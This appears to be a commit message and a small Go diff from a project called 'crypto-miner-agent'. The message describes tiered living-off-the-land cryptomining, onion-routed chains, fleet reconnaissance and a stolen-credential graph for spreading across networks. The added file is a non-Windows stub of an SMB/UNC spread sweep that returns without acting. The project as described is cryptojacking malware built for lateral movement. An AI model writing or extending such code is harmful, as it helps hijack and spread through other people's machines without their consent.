Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.

agent/deploy/smb_unc_spread_stub.go

@@ -0,0 +1,10 @@
+//go:build !windows
+
+package deploy
+
+import "crypto-miner-agent/config"
+
+func runSMBUNCSpreadSweep(_ config.RuntimeConfig, _ SMBUNCSpreadOpts, targets []string) {
+	beginSpreadSweep("smb_unc_sc", len(targets))
+	finishSpreadSweepImmediate()
+}